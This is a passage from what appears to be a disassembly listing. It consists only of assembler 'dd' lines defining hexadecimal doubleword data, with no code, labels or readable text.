0CA1F24E2h, 4FC7AA22h, 0C0811043h, 56F899CCh, 3181D8B9h dd 0CCE9B8D3h, 11C325EDh, 7828B1Ah, 0D7B9FDB8h, 2D08ECBFh dd 936021C0h, 25C882h, 0EBE45785h, 0E8837B44h, 0D24AF401h dd 0A613B5D3h, 0C454F30h, 4403B2E6h, 0CB9849B0h, 23386201h dd 1B202E39h, 75A3DBh, 0D2E23A58h, 0FBB0AD98h, 7DAF0400h dd 5A99486Dh, 5EDA28D8h, 73D20CA8h, 0BE606E38h, 0E864C450h dd 1D0ABF00h, 2A59CB3Fh, 0AE24065Bh, 38209B68h, 1BE43E00h dd 2672BD88h, 56A300C1h, 92D958A2h, 8A008016h, 0C735EC62h dd 0F8FD1DCh, 8163EB2Dh, 0C530280h, 1B77FD56h, 0A554D6F8h dd 0F242DA0Ch, 0A1BDA921h, 801D0851h, 1106F642h, 8B318261h dd 0E1A3E04h, 8CE859CFh, 2BEB1603h, 0B9A0000Ch, 0E63E08B7h dd 0B3039EAh, 77092091h, 48B50664h, 514ED61Bh, 0A8744FFCh dd 3F5D39CFh, 5ED5F203h, 1A3CC1E5h, 83E3C2E1h, 4470E60Fh dd 0EC7899F1h, 8FA8828h, 8B22ED78h, 0D0010FB2h, 8F014056h dd 0F94514C3h, 0E104F7CFh, 9EAD648Dh, 40516205h, 0E068E9ACh dd 260255D1h, 6508632h, 930EE3F1h, 89380483h, 0FF0820Ch dd 5A0C11D2h, 0B79B735h, 0CDC81018h, 3882F731h, 0CA80AF75h dd 0BB5119Ah, 8FE2028h, 0F8189300h, 4F2E9BA8h, 33140302h dd 8CF27036h, 76FEC688h, 0F72B8900h, 1215295Dh, 0ABB505EDh dd 38C4F18Dh, 0DB015014h, 0B3728F21h, 1A063Fh, 0BC1EDDC0h dd 473FA99h, 7AB30DCCh dd 71BB80BAh, 9300DCCDh, 8DC8BFFEh, 0A798D7F6h, 5F2E8C14h dd 0AF29D670h, 2BC07491h, 0E5062Fh, 4BE612E2h, 9DF0D1B2h dd 0F5D49926h, 0F7753F01h, 96DAE2AAh, 0A7F60134h, 0F73A05D2h dd 2070A34Ah, 0CC08BF00h, 52129FFEh, 8BC444A0h, 0D90880E9h dd 449067D0h, 47A430F9h, 0E4826092h, 0EBF8043Fh, 105960DDh dd 0F95DAE52h, 48CF2400h, 0DFE9A796h, 42A0E57h, 0B5E1EB0Ch dd 71584270h, 0FB29BEB3h, 88310B88h, 0F488B605h, 8108971h dd 2150844Fh, 95453628h, 53E810F2h, 89B09D88h, 7822F2BDh dd 940D0397h, 3B3AC3B8h, 79357500h, 29C0F86Eh, 3149033Fh dd 0DBF7BD7Dh, 0E0F5DCD8h, 65842A00h, 0C60F139Ch, 0BC2200E4h dd 1E8946Bh, 0A8008A3Bh, 51D3951Bh, 23B20Bh, 0D578E0EFh dd 0E6DAA470h, 0C4CED00Eh, 0D4C08058h, 18454A7h, 0F525CC39h dd 0D03D7B10h, 0DB00078Dh, 0A48E0C4Eh, 301137Ah, 9F6A087Eh dd 0FAC8F7CAh, 0D4008F25h, 0F88BEF8Ch, 0A8C333AAh, 0EA0529C8h dd 22B700A5h, 41090BA9h, 0CD03FC3Bh, 46717BA4h, 3C11A39Fh dd 479D6BF8h, 18A6CF30h, 83B1A300h, 90006E4Ah, 0B2802CC3h dd 35267D9h, 0F2995606h, 5828872Dh, 5F1DCD3Eh, 0AA03AF20h dd 3F9048C6h, 40CC2F80h, 6AD8DD03h, 9CF84599h, 82003858h dd 0AE773697h, 90D917h, 0C141F4E1h, 4C75A05Eh, 9A925F00h dd 14E213CDh, 9906300Dh, 0D7BFD910h, 0FDF58D00h, 0E91AECEAh dd 70110F49h, 0BAC0CF1Ch, 0B47BD164h, 103FAB01h, 47F3EAA6h dd 80FE96E5h, 404463E5h, 0E3D30693h, 0E8AC2145h, 60DB2500h dd 43E778BFh, 2AF61C3Dh, 1E77001Dh, 939C3EBDh, 935ECFFh dd 123F973Eh, 0BA806753h, 58A85BEh, 2EECA457h, 3B189055h dd 0D801B9C5h, 3EF3716Eh, 0AAF4620Ch, 3F5D0097h, 41DD503Ah dd 0FD00D2B0h, 0BCFEBFA3h, 0D93F3h, 87035DB6h, 5470CA04h dd 0CBCC8F00h, 0AD1C7414h, 1FC1E44Dh, 50611Fh, 0B921F749h dd 0D8007A2Ah, 4A86D2EDh, 0C1E3Bh, 56AF1592h, 0D59B691Fh dd 0C9E04060h, 4F24FEh, 0E9331E63h, 99606F6Dh, 207A9D00h dd 2CA477DCh, 0D61A0081h, 0EBC71294h, 0E100406Dh, 67904FEh dd 6021080Ah, 0F33610FBh, 0E021DAAh, 73CBC0BCh, 0E0086871h dd 77891FCh, 0C16AF9BBh, 0C0623060h, 8D0139C3h, 0B552FCE5h dd 0D2F0CD9Bh, 0A5711F33h, 0AE40C058h, 0AB3C5C98h, 28E65701h dd 0BF2093C0h, 75709CFCh, 0A82E2E61h, 9A003B34h, 88296BD7h dd 0D90030C1h, 0EEC73F78h, 12AE546h, 6FAC1BC6h, 0E4F4EC5Fh dd 0B101AEA2h, 0A8A953C7h, 3F204778h, 5CA40EC8h, 1520D456h dd 8EF68459h, 529D2E01h, 3A3713Dh, 279874h, 0EA9C6DC9h dd 87287FAh, 0D3D594A0h, 2E834600h, 0D475211Ch, 0FBB8A0AEh dd 0EE180053h, 4B32F18Fh, 26E07BFFh, 5B791C00h, 88E09FD8h dd 0F9ECA01Bh, 674A2335h, 0A3A3D809h, 0C0851E1Ch, 564E4C8h dd 3C06FDA4h, 7B60275h, 5861C75Dh, 37F66019h, 6DB83200h dd 0B3D3F2DEh, 120F01EAh, 7119935Ah, 0A02920ACh, 0C4BC6000h dd 0B88EFAB9h, 0E7A91E29h, 5033B84h, 0BC75EAB1h, 0B6BB1901h dd 405419DCh, 4DEBB660h, 9005308Ah, 0CC556h, 0CBD8ABF8h dd 21137FC7h, 6807D55Dh, 29F7C2D9h, 1697C000h, 0DF47Ch dd 80384F6Dh, 7B87B360h, 0FB056A1Dh, 80349B89h, 47C70D7Eh dd 2F32002Dh, 75B25FE6h, 0BBE87F48h, 0AAAC8E1h, 0B05C7700h dd 7120DC21h, 309B07C0h, 1F080733h, 6C2E0EC0h, 0A300E441h dd 8ECDD3CEh, 0FA6729Bh, 57DE90E0h, 71F984F8h, 0BB531100h dd 18F4B396h, 4EE23Ah, 0D13F66E5h, 44AE7349h, 884FDA00h dd 0C276720Bh, 0DC4B0045h, 0C06D55C1h, 0EF00F70Eh, 0A538AF3Dh dd 3BF5FA3Ah, 0FCF487h, 64C82827h, 7E77EA1Ah, 36A69507h dd 9A304181h, 4863B562h, 0BE3F64A1h, 0E183C000h, 26AFCDABh dd 5BE64900h, 0C1A3A5E7h, 22540082h, 7AD4BE9Dh, 5203EB8Bh dd 1086D5A2h, 4280E091h, 0CD670011h, 0BADD736h, 0C14C381Ah dd 33CE0028h, 0B1E5F962h, 0A95A0082h, 8F3E3E9h, 497754FAh dd 2A7C4001h, 0E0140DE8h, 0A7A4ECh, 14D0B92h, 6AB66D34h dd 3500DCECh, 2B4F1F9Ch, 0A8A448h, 824A025Fh, 9E8C0E2h dd 0AD452300h, 53EBD8AEh, 12BDFC19h, 0E88E7CEh, 0A1A0D418h dd 33A97578h, 0FE699F00h, 2DB0F582h, 6D9B0039h, 0F9F0898Dh dd 3AF6340Ch, 47837400h, 0B437DC43h, 7B6C0232h, 3CD15844h dd 0B25B05D7h, 89B2B087h, 204D2033h, 6C0212D6h, 4C8D756Fh dd 0E3504009h, 0C0B13FD2h, 46CBEE00h, 0D948DAF4h, 0F7957F02h dd 40F57842h, 4CBAB8h, 1DD7074Bh, 2E059BDAh, 0DF75ECEEh dd 2CB89200h, 0ED585227h, 0DC0948FCh, 0A7C97500h, 0B3F77161h dd 76C5FA00h, 6BA1A0C3h, 0EABD003Ch, 0B6E56A6Ch, 3A075683h dd 0C931FB4Ch, 0C56444F3h, 0E01D6880h, 983371EAh, 0E63B0F28h dd 0B8E04F13h, 0CC120661h, 53AFB101h, 23FBFE0Eh, 283C4h dd 0C636C448h, 0DE4F9BF3h, 9924601h, 80E8E362h, 9368FCh dd 0D0B3CE3Dh, 29670B8Fh, 343CF500h, 14B9EFD3h, 9A8600A0h dd 0AAEDCFBCh, 35001DFEh, 198EC848h, 9A9A8A2h, 38703014h dd 7765F803h, 0D5FB94B8h, 79C0BA00h, 0B6EF354Eh, 0CCAE00C1h dd 0FCBFFF65h, 3A03DEF7h, 0CF868B99h, 2512E064h, 7EB3009Dh dd 60E9FC7h, 9003CC1Ah, 0CFE3EFDFh, 0DA478871h, 89AA072Bh dd 7115B046h, 60B4612Ah, 0C001E710h, 0BC644DBEh, 74D07D5Fh dd 1D9D00FCh, 92432DABh, 467580EAh, 85002078h, 6C955D2Fh dd 5FB983Fh, 9B077204h, 3DDC80A0h, 97E6AF88h, 0A16C0A00h dd 0FEF21B9h, 0FC75D7h, 4E0E6D1Dh, 0BD469B83h, 17B1401h dd 37E44359h, 0F839D7C4h, 0F32100D1h, 524F995Dh, 8A1616C2h dd 4800227Eh, 5165CFEDh, 303C900Eh, 0A2F9B13Fh, 6700F10Fh dd 1097FE9Eh, 0EFD0BAEh, 96FB894Bh, 54361140h, 0E7004024h dd 619B3E67h, 48A237h, 80E0943Fh, 0A3A97790h, 1D3C0848h dd 0E580CD51h, 0CFC60A68h, 0D5E20Dh, 2BC92DECh, 0D34DAA9Ch dd 5E9BF000h, 0C0E9D4D2h, 0FA7143Dh, 5A00964Fh, 0FA895762h dd 0FF00A47Bh, 900569CEh, 0A024128Dh, 0A9CAF8h, 0B9FF97Dh dd 85039796h, 882D400h, 0E8D33932h, 2674B8CFh, 0CEE1502h dd 51442956h, 0A0685Ch, 4DF1A086h, 5C0667DEh, 0F007E8DAh dd 1098D764h, 5123A574h, 0BD0F26FEh, 0C7FE53F8h, 3D70ACC6h dd 0B29F431Dh, 2E0FC34h, 0E1DE6B4Ch, 406E67h, 953E5547h dd 7E028F3Ch, 8926E0B8h, 375F70Ch, 5DBEBC6Ch, 11A25CD0h dd 0FF00F072h, 2EA65B27h, 1691BD45h, 0B0D5D15h, 33004FA2h dd 7185FA6Eh, 3500E8FEh, 4189F15Fh, 0FCCC2778h, 924E48FFh dd 7048AE00h, 58A84793h, 0FAF46800h, 0E9DFDEC1h, 91810034h dd 57841AA6h, 26187FEDh, 60819EBBh, 53C8C0DEh, 9972617Dh dd 0F1565900h, 11153949h, 7F2A285Bh, 935F00B1h, 463067Eh dd 0ED00DAA3h, 0D08A9A4Bh, 0BA613Dh, 88F948D8h, 282572A8h dd 0BC4F6A2Eh, 0CD807B9Fh, 0E81798FBh, 1DAB00B4h, 0E138FDE9h dd 861DD3AAh, 6D80FC4Ah, 607CB7C3h, 0AD0E0085h, 3937175Bh dd 0F83B89B8h, 10AC06D8h, 0E3592380h, 0EBAFF981h, 8247A12Ch dd 0DB5DB168h, 3C50ECh, 1835213Ch, 4201736Dh, 3F0DA501h dd 4411055h, 0E2284982h, 88808B8Eh, 0AD5F4908h, 97059AFAh dd 8325C2EFh, 4B648F00h, 279462B9h, 8C802233h, 0E372BF75h dd 0CD7AD03h, 13E9A085h dd 61A8E0h, 2F29317Dh, 220113DFh, 309CF09Fh, 56211AB3h dd 927FB439h, 0EEC90724h, 56572884h, 715849E0h, 51007164h dd 47F05504h, 388BE42h, 34A8AEFBh, 4907900Fh, 0F8EDA794h dd 0BBB5A693h, 763C0082h, 0C715D8B4h, 6B1E1F39h, 2D4C9BA8h dd 3C1AD04Ah, 6A81D66Eh, 675DD61h, 5869E0BEh, 0C7984BF4h dd 0A401FF4Eh, 0C41140Bh, 64674F01h, 0E36FD22Ch, 0C3DF6EA9h dd 0F950027Ah, 0DDFCCBE6h, 9F51035Dh, 0D5FD8E96h, 0C0450880h dd 9849F324h, 0A7137980h, 75E3295h, 18894061h, 430A1588h dd 0DFE8A5E4h, 0B8B902F0h, 0BCCC1526h, 0EA395300h, 13FEE0Bh dd 1B289573h, 30610643h, 5C74852Ah, 5ABB0700h, 8B42AD32h dd 14081CE9h, 0B2C0F0EDh, 1B1F696Fh, 9C42D1A6h, 0E0259F41h dd 904DF04h, 0FCE53CA2h, 0EC018CC7h, 90A21B13h, 0B0E18720h dd 0F3EAA0h, 0D2215F4h, 2B4004FEh, 0C337D00h, 0F1CBC052h dd 13349241h, 11FA70D2h, 7D508093h, 286501AAh, 7F1B8FC1h dd 0F0A85777h, 0E5134C7Ch, 0F281EE01h, 296A04A2h, 9DE4E121h dd 67D90453h, 8099EF86h, 0D5804B31h, 901F8E2h, 5F3DEB13h dd 0D3C02B0Eh, 98026339h, 19903B03h, 60801A2Dh, 31CB4B4h dd 0EDA0244Ch, 0CCC0C99Fh, 770503C8h, 3068D59Ch, 2FC28090h dd 0C475FFh, 12A8D405h, 0E2DF3FE8h, 3E515800h, 919CF77Fh dd 0E91507FEh, 85823057h, 0AA588043h, 1A02DD6Ch, 0B079AB36h dd 12F460BEh, 647C381Dh, 0F2147A3Fh, 5527D5E6h, 0C2000889h dd 0AB9EE4D6h, 650D3E07h, 119BBC0h, 40EB5475h, 0F2D4230h dd 7144A91Dh, 0BA61AE2Eh, 0C872F817h, 1030D3A7h, 49A1202Ch dd 0FAD600CDh, 0DD0E7121h, 5009524h, 0B76170B5h, 0EADCEC6Fh dd 8446016Ch, 0F9F4B3BEh, 0C76A605Bh, 8010143Eh, 0D02E611Fh dd 0A00A6738h, 0F672C3E8h, 497606E1h, 0C95426EBh, 17759F00h dd 6155823h, 95DA00F9h, 5476A76Bh, 0E5097B3Bh, 0C08BA57Fh dd 30C98B0h, 0CD73F487h, 7409345Ch, 0C8C72955h, 0B0AB8BA8h dd 0D137009Ch, 70098FB8h, 911D0B27h, 6500DD01h, 0A3606783h dd 8EB001DFh, 0C0797166h, 0F44C75D6h, 0E903D9B8h, 0E2A4A13h dd 1621891Ah, 0C8F860h, 0E7F08C78h, 8798395Ch, 0BD03EA7Fh dd 0A7D5CAD0h, 0D270E0B9h, 1F3412E7h, 0C6388023h, 2600DAE6h dd 1214D152h, 1CF01CA8h, 808B6BB2h, 2F73D829h, 5A0FF6E1h dd 20B8E375h, 0AC2CC567h, 0F9120080h, 43478404h, 3C035E2Bh dd 1B0AB564h, 3F283FBBh, 0AA6DAE80h, 78013DC8h, 0AF03ADE6h dd 43455B42h, 0EE1EE88Bh, 4540EABh, 2C40D5EAh, 0D958D331h dd 0BF9EF800h, 7A7F1625h, 4BF600D4h, 8F0C5BF2h, 6C0FB5AEh dd 0A236A7h, 0EB869A55h, 0C618000Dh, 74FCB2DAh, 0A0005E60h dd 0B3447357h, 17A3C322h, 0ED51A45h, 83AB9758h, 206F50A0h dd 750174E3h, 0FF027CFCh, 0C8343C2Dh, 9255EA0Ch, 0D06200F4h dd 0C30D3BC0h, 0C12C31A6h, 0EB059112h, 0D9C1B8B2h, 742030F3h dd 53920081h, 2B615A34h, 0D1E24A80h, 5C32370Fh, 0FFE041C5h dd 0B8E497A8h, 59410092h, 0F41F0C79h, 7800C291h, 563C340Eh dd 0FF74A6Eh, 0A453F21Dh, 6022E606h, 1BA58800h, 20AAAA1h dd 0EDEF3C71h, 5D3BE10Eh, 0DABB1720h, 670C5F1Dh, 1E42C177h dd 9C4600C2h, 502E5C0Dh, 0D5070607h, 9739BFE3h, 0C04D3082h dd 0B8335A7Eh, 9F6805B4h, 0C0206BABh, 27BABE68h, 39B6C8C0h dd 0ECD438Dh, 249D3AADh, 0E8018CEBh, 306731C1h, 48B6A8D4h dd 5D87FE58h, 1E011C36h, 6227046Ah, 7BAFF4B8h, 156D9E01h dd 0C6D882C2h, 96AC830h, 192C2549h, 0B0FB2280h, 0F70B3A5Ah dd 803D7FAEh, 0C8EFCA7Eh, 3F1504AAh, 0C103F1B4h, 0E038E4D0h dd 453A742Ah, 3BFD00F7h, 51DC2E3Dh, 278013CAh, 22BC4057h dd 1C4A52B2h, 7877AB05h, 8D03C46h, 0AF5917h, 2207319Dh dd 84C3015Ah, 5FC2502Ch, 26A68A00h, 0CB79B4h, 0A37C03A7h dd 0BF2C81E1h, 0C8546F00h, 80525667h, 2AE5008Ch, 647FF32Fh dd 476D755h, 0CCB08424h, 2DAFDF03h, 0EE13D825h, 779900E5h dd 0AE88B9D6h, 3A01D09Bh, 0F86DE976h, 2DD483B1h, 2BBD0FE1h dd 0B6005CFCh, 5410C901h, 1263D01Eh, 9AC8E780h, 1B4B52Bh dd 0E2176D55h, 9D336986h, 7DC09BBCh, 44961220h, 0E43B0281h dd 7AB1924h, 0EA2A9C80h, 0F40006AAh, 498AF91Ch, 19A08Dh dd 0AEFD18EDh, 110D723Ah, 0E155A80Eh, 3130C0D1h, 1FE5C54Ah dd 4015DD8Ch, 0DCCD0519h, 9300A15Fh, 4F35F723h, 0EF5A0758h dd 2262230h, 0F62BB005h, 0B5607044h, 0DD1FAADEh, 3214DBC6h dd 0D5DF02D4h, 20B56D92h, 8E8D77E0h, 1400F75Eh, 69AF25B4h dd 1F51019Dh, 0B93F1105h, 0C187CCEh, 9098FA97h, 7A4100A0h dd 28FEC934h, 90E41A4Fh, 85F3C700h, 9E1E0320h, 4EAA0012h dd 98A4E63Eh, 8C003CD3h, 8A22BF2Eh, 0D64A86h, 60A9F9A3h dd 0CD9A595Ch, 0BDB9B800h, 21D80DEEh, 662D03AEh, 30F78239h dd 27DC20E0h, 0D98FF40Eh, 0C0E1C037h, 249C1Bh, 0B6939A87h dd 4A42E702h, 806D8E3Bh, 2BD4EC2Dh, 722FDD05h, 21AE085h dd 0C8576B37h, 746048DFh, 8A389976h, 21168739h, 1440ED25h dd 3F442A9Ch, 0E8D0773Ah, 54FB7348h, 7284D4h, 0CD2E7D92h dd 4E52E104h, 2008750Eh, 0D68500BEh, 0E358115h, 991EEF79h dd 9654520h, 0E30E5D12h, 0AE6D2584h, 0C4E46011h, 280A8977h dd 11E89601h, 80636CB0h, 1D425D9h, 0F10F179Eh, 948CFA4h dd 0C03E6BECh, 0B40478BCh, 0BA740014h, 6437DCD4h, 1FBB6C0Eh dd 5EFB0F52h, 507A4400h, 0B0CF8CF5h, 483E003Ch, 379E5CEh dd 0F00769C1h, 36C03788h, 9B920A27h, 4F61E01Ch, 12DE3C56h dd 537C0700h, 2ADF898Ah, 9C7EAA3Eh, 4640B9B3h, 7BBDEAA3h dd 0C8790EFFh, 140114Dh, 64EC883Ah, 6251B200h, 94DEE090h dd 4F8E1E1Fh, 15A400F5h, 78C3153h, 51E9A918h, 811B50h dd 3798EA4Ah, 0E6350190h, 0A0763C25h, 0DE853290h, 0BC4B4FAh dd 0D486ECD4h, 21009898h, 81E03BA0h, 0C996759h, 57434049h dd 0EE480558h, 275D00F2h, 837CDA16h, 508E596Dh, 44824C3Eh dd 0D776EEEFh, 2D0044D8h, 0AC5B2781h, 1C8BEBAh, 75CB2905h dd 804AA09Ah, 85483A11h, 0FC6B303h, 473F831Fh, 856958E5h dd 4F201F96h, 49EAAF3h, 0E14F96EDh, 0B591F0DCh, 350D0B00h dd 0FD0852F6h, 0C5B74F7h, 8FCB87B0h, 0D8050199h, 0EEE57F56h dd 341DBBh, 768F64A6h, 96009197h, 0DCA11D5Ah, 1F6F3379h dd 0F46EEFDh, 1B20434Eh, 53EB74B8h, 1110AD09h, 5860600Bh dd 0EFC70A08h, 1CB9895Ch, 56E50CAAh, 0D5678A98h, 6C474230h dd 0C05F405h, 4C0BBF87h, 52B5800Dh, 52F71442h, 0CF0E2073h dd 0E920A710h, 7C39F99Dh, 645F5900h, 63134B96h, 686200A4h dd 4F0B0D03h, 0B800E28Bh, 4702DD21h, 64C6D4h, 0D6F52F3h dd 3C22CB7h, 0CB006978h, 6A1AF166h, 0CFDAE62h, 886E1FA8h dd 7E031C91h, 80A609EBh, 5214E1F7h, 2526E0h, 7749D30Bh dd 4B910CD0h, 0A8C043EEh, 39C0EA61h, 0FAA3052h, 649FD8E1h dd 22754500h, 4B70B30Bh, 676A05CAh, 20822D9Bh, 2F4996A0h dd 0FE695B19h, 98F49081h, 30200040h, 0A71EF2B3h, 9A00099Dh dd 5E65FAAEh, 0E891706Eh, 0E9520085h, 2FCB0BDAh, 5950A549h dd 7A1F13D8h, 0CD0EAA28h, 2D00053h, 3075C1A4h, 507918B5h dd 570030F4h, 0A358AEF8h, 3EBF9952h, 6800A86Ah, 0EE11DE21h dd 1B001DE8h, 3FDA664Eh dd 0F4083991h, 3C9233h, 0AF71E643h, 0B28F9B3Ah, 0DCA4B970h dd 0E0C3774Bh, 0D8CCE8DBh, 6AA902F8h, 0B70E60B8h, 0E5C87740h dd 0F359B61Eh, 0B2A4D2C3h, 58D0AD8Fh, 60ECFAh, 6293E023h dd 5CEAF954h, 0B01080E9h, 0C29D1735h, 0EFB20CC1h, 120839D1h dd 0A40F21D6h, 0C9A78010h, 1B15265h, 0B20331CEh, 91F93EAAh dd 1E80FE50h, 0A9C29817h, 6E9448Ch, 72100700h, 4F33DC2Dh dd 361C00B3h, 0B439DF13h, 94B06FF9h, 54509303h, 7D6D7DB1h dd 84E6F39h, 3CC1CA81h, 903DD079h, 63407E00h, 68093E25h dd 3F89757Dh, 3BF9223h, 4C71B906h, 0EB0051E9h, 58C7D3BBh dd 60F960ABh, 0D18B19E6h, 840235B8h, 6F4FA0D6h, 0B3E0004Ah dd 14A1CF60h, 799AE473h, 726FB118h, 4A8D99h, 0E382D155h dd 4036A826h, 8B02C40Eh, 0C0FC8E7Ch, 0A0D1BA86h, 23D34C2Bh dd 51503960h, 0E9006E20h, 0C3A7D6CFh, 0C011643Bh, 368CE044h dd 0E760940Bh, 0D1427689h, 6FB798E6h, 0F183415Dh, 0FC9516Ch dd 732980F9h, 0BF80B97Fh, 0D3190C37h, 3F081C14h, 0A88A21C0h dd 29FA89B9h, 8CA360h, 86F74D80h, 0D9023572h, 465A9BF0h dd 500BC015h, 29B16F4Ch, 10801F89h, 6DDB3DAh, 23EBBC1Ch dd 6A0053D2h, 1E91F3A3h, 0BAB403ECh, 0A21DD428h, 420178E6h dd 0E9C4B3F7h, 0C1804FF9h, 5122BA72h, 0A00CA1Bh, 43C15A6Fh dd 574F77h, 0B45DA90h, 0CAD17FF2h, 0E28424h, 0C4830940h dd 0AF32C03Ah, 0D2E3A889h, 67DBBF00h, 872ADD1Ch, 3824F261h dd 0A3801266h, 7E45A717h, 9F244DA1h, 4100F41Dh, 663F4830h dd 89270FD1h, 0FE2FB6C4h, 0F27A6582h, 0B2D698A0h, 0A7000CD4h dd 99DFEFA1h, 5294C4h, 10A59EB0h, 0F3D1677Bh, 3B005FE6h dd 6450FD35h, 0C05EF46Fh, 7FA01340h, 1C0AE6D9h, 4BC2560h dd 0C8E3C17Dh, 291083F4h, 0E01F0305h, 1C50Dh, 0B4092E18h dd 623485F0h, 54F27100h, 11C8291Eh, 0D6C0688h, 28176401h dd 79C044h, 3F5F340h, 7EC3593Fh, 0BF00FDFEh, 0CC6A3E0Dh dd 1D0F5670h, 0C0B46279h, 0DB9649AFh, 0C607BBC5h, 97410816h dd 0BCA7BD50h, 7030004Bh, 2C2A444Fh, 120004B2h, 0E58C9CC9h dd 81086Dh, 0E294BDF7h, 18B94CDAh, 484A041Eh, 35F8A80h dd 1757E0Ch, 364B9B34h, 30140E87h, 4C00857Ch, 0B5B27499h dd 4E025Eh, 2AB940FFh, 90DDCB3Dh, 7A4A3500h, 33F23019h dd 0A9FC47h, 5E186459h, 29D55B70h, 0D486F100h, 0BB4248E1h dd 0B09676CFh, 0A357002Dh, 4D0378FFh, 880EE9D2h, 201AD60Ah dd 13C34590h, 0F59D005Eh, 5C6579DEh, 0DC00F680h, 0D701B4AAh dd 9C06B6h, 0B1702440h, 5B9338A9h, 81A47D00h, 0F2103AA2h dd 0EC5F0F1Dh, 53007862h, 84E50A4Fh, 0AED770E3h, 0C12FB300h dd 56E2B51Ch, 79F4017Bh, 122D1891h, 4984EC44h, 479FE10Eh dd 66958059h, 50F22643h, 26389A68h, 0F111EC7h, 1400703Ah dd 0F7BAE5F8h, 6F9F9D00h, 1DB0CFECh, 64F500DFh, 59B4F658h dd 3401D441h, 0B2DAE792h, 2420C3FFh, 30350025h, 0CF096DB6h dd 5500C03Eh, 2B4391AFh, 50A1B5A5h, 949CACh, 89D1356Ch dd 703CDE08h, 9AAA2607h, 42608213h, 738A6Dh, 0D11A849h dd 0D6EAA25Fh, 0ED68F11Eh, 106FB0Eh, 0E3CEA750h, 90E1EDCh dd 38FF5E1Bh, 41236C06h, 11A3A418h, 602732BAh, 5A809833h dd 0E8A83D6Eh, 2B001F4Eh, 665D0C9Fh, 0F6B3E340h, 0EEDA0180h dd 0A620F7F8h, 9487EC9Dh, 89A97501h, 0C474C3Fh, 0E222E0h dd 0E00283ADh, 0F51B99DCh, 1A107663h, 4F688030h, 0A0260056h dd 0F1B664CEh, 700C1E37h, 0A83F90D9h, 5D12030Bh, 2AA45618h dd 17E39000h, 0F62F81C3h, 0DCD1002Dh, 6B8BE8E4h, 94001E5Fh dd 62AD3C0h, 0A929E60h, 0C32227EDh, 4CBF00A8h, 41AF1881h dd 5BC66E2Ch, 3030791Dh, 9A6B5Ch, 1C58B688h, 34CA3A53h dd 6F9DE40Ah, 8080D8EAh, 6131A25Bh, 559EED8h, 5E3833CDh dd 7BF002F2h, 89021ADEh, 76A49631h, 6FB20008h, 0DCA0511Bh dd 46024847h, 54B2EDBh, 63A78073h, 0E6153ACh, 0FB8CEDDEh dd 362CAA20h, 267412Eh, 9F549149h, 0D939C3h, 3F517471h dd 0DC663339h, 0EBB51100h, 6828A40Fh, 6D88A889h, 0EE1B3F0Ch dd 23F4FF80h, 0EF1E6C1Fh, 83389E49h, 34EADDh, 5CA9FF69h dd 5AF76008h, 33812493h, 436367ACh, 2069F8h, 2BBBB510h dd 0FB7E39AAh, 7922DF30h, 3C9F2DF4h, 0AE82DCD4h, 58FD2F1Ah dd 93F85440h, 833E500h, 9C39A22Ch, 24A90B5Eh, 0F20067A0h dd 5ADC88E0h, 65856A00h, 0C7613658h, 0C25506CAh, 0C65FA53Ch dd 0B87DB024h, 6B0BFF60h, 0E0EB0005h, 20942FE8h, 0D14DD7CDh dd 9F3C79ECh, 0B81F0784h, 19908008h, 490A1A32h, 4C0704E2h dd 0C0A3ACDAh, 267ABD5Bh, 13A12200h, 6F095649h, 0F1421C7Fh dd 0A4D180D4h, 460CB4AFh, 1D54FE77h, 4701619Ch, 5DA1E3A5h dd 0CC30F631h, 0D581C3D0h, 588F2A0h, 7300CDECh, 6B3629B4h dd 264FAAFCh, 5000BDA4h, 0A000DD4Ah, 329EDAE9h, 37092Ah dd 7B0A1EE7h, 905BABECh, 3C964600h, 0A05AEB13h, 0F27F2C5Fh dd 0A2DA0020h, 55717018h, 0E50E2C93h, 6290D8CFh, 0DFC5007Eh dd 750189F9h, 0CE055E9Fh, 0C1767FD4h, 0C0A5880Fh, 3ABB41B1h dd 8F6A1F43h, 0F60607DFh, 0C13EF0F7h, 2D00B4BDh, 675D5FACh dd 0D6E23Fh, 0E5C3808Ch, 6F0DA078h, 0B7305302h, 69FCDA5Ch dd 80400540h, 9C4B1Fh, 7C6390E9h, 0E202AC6Bh, 12E470B7h dd 6A887Eh, 0FA7D7366h, 3005FBA2h, 0C1F6DA12h, 6ED99000h dd 8931EDh, 0E624A6F7h, 0C178173h, 0E45CE01h, 5AB5F19Dh dd 1582EC64h, 0F433AEE9h, 0C5765F07h, 0EB119CCDh, 78EA810Dh dd 0C418B97Eh, 192702DAh, 0A5C7FAB9h, 0DC9F9860h, 8A0C5F13h dd 4F392A05h, 0A8D12180h, 362090Eh, 98309C46h, 29099DC9h dd 80DD18E7h, 27D87470h, 530A07FAh, 309B567Dh, 38ACA803h dd 6111A500h, 0FA6B257Bh, 9CB33CA7h, 1B87F801h, 803EA4D9h dd 0F4A8900Ah, 18307DABh, 38E24F96h, 9A008C89h, 0BCB9A6E4h dd 50B9Eh, 0FACD2FBEh, 50B7B89Fh, 2EDEA11Fh, 90061DC0h dd 0A38615h, 0D963193Bh, 375F060h, 50444A02h, 40B332F4h dd 9AE9FC21h, 0CEC21EC8h, 65A00682h, 1155062h, 18C83A5h dd 3D674158h, 1081B268h, 0D8388418h, 3ED89E5Eh, 0DA9351C0h dd 78F43B79h, 0B89AD6h, 1D6FCEEDh, 110E5085h, 973EB58h dd 80F45A88h, 946A1BC0h, 8BED0047h, 397A1FC6h, 0C00F5A2h dd 34FFAE15h, 0CBFCDF52h, 8809C6Eh, 0F1E3DB43h, 0D63CAF00h dd 6F55FD90h, 0F6C50080h, 8C5F7620h, 18007432h, 63B1DFD2h dd 0D4DAF3h, 48A7389Ah, 0BFAEAFC9h, 14712324h, 1068FA80h dd 0F981F1h, 27F674E8h, 0CFBE0A04h, 180A97E8h, 0CDFA68C7h dd 876EBD01h, 0EC20F422h, 0E56A0021h, 88106BACh, 2E0049FEh dd 0E90F4D24h, 3EA128Eh, 0D1A6E395h, 0EDE684h, 5D11B4B4h dd 0F9901D42h, 808C78ABh, 0FF5C5B2Ah, 7DAE9500h, 0D2703490h dd 6E1C0119h, 0D76C965Dh, 1D0C64CDh, 0AA66E809h, 70B88092h dd 0A971D98Ah, 0F810232Ch, 300F17F2h, 81973849h, 0DA117EF1h dd 7841E4h, 0ED9F70D6h, 6D7522Eh, 0AC5D290Bh, 0EB84001Bh dd 1356465Eh, 5F2DE18Eh, 91D70180h, 7017E5D8h, 14900178h dd 3B01B07Dh, 59117A75h, 8E30795Eh, 0AC5B12EBh, 4AB449A2h dd 0C5C1E204h, 340C4420h, 0C520DCA1h, 48603F42h, 501A31A8h dd 5580B4B1h, 163F01FEh dd 0A80C2E8Bh, 